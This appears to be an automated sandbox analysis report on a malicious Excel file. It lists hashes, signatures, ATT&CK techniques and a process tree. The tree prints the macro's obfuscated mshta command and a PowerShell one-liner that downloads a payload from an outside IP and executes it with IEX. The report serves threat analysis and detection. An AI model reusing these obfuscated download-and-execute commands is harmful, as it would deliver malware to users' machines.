142dc674a687ade3bc56e2e78f0a6dc0603d81f176f8a9d794d909b6839bcc5b

General

Target
a41cebc9cb15d97698c4be3cc5566eeb.xls
Size 142KB
Sample220119-wmf49acbd9
SHA256 142dc674a687ade3bc56e2e78f0a6dc0603d81f176f8a9d794d909b6839bcc5b
MD5 a41cebc9cb15d97698c4be3cc5566eeb
SHA1 4ae32d221de0cb9fbc7912355adcdeb790629ba0
SHA512 6703f535acaaad665a6a3ee04c4fc944454ca3a351fa06a3e947d3da9faaa07e1710e309bc349b330ba1c1945391729c03e2fb9a660be7ba99865a112e0169f5
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3564	1232	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	3764	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1056	3764	WerFault.exe	62

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1232	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1232	EXCEL.EXE
1232	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE
1232	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1232 wrote to memory of 2848	1232	EXCEL.EXE	54
PID 1232 wrote to memory of 2848	1232	EXCEL.EXE	54
PID 1232 wrote to memory of 3564	1232	EXCEL.EXE	60
PID 1232 wrote to memory of 3564	1232	EXCEL.EXE	60
PID 3564 wrote to memory of 3764	3564	cmd.exe	62
PID 3564 wrote to memory of 3764	3564	cmd.exe	62

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a41cebc9cb15d97698c4be3cc5566eeb.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2848
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:3764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2180
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3764 -s 1724
      4⤵
      Program crash
      PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1912

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 3764 -ip 3764
1⤵
PID:504

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1232-130-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

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memory/1232-131-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1232-132-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1232-134-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Download

memory/1232-133-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

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memory/1232-137-0x00007FF801E70000-0x00007FF801E80000-memory.dmp

Download

memory/1232-138-0x00007FF801E70000-0x00007FF801E80000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads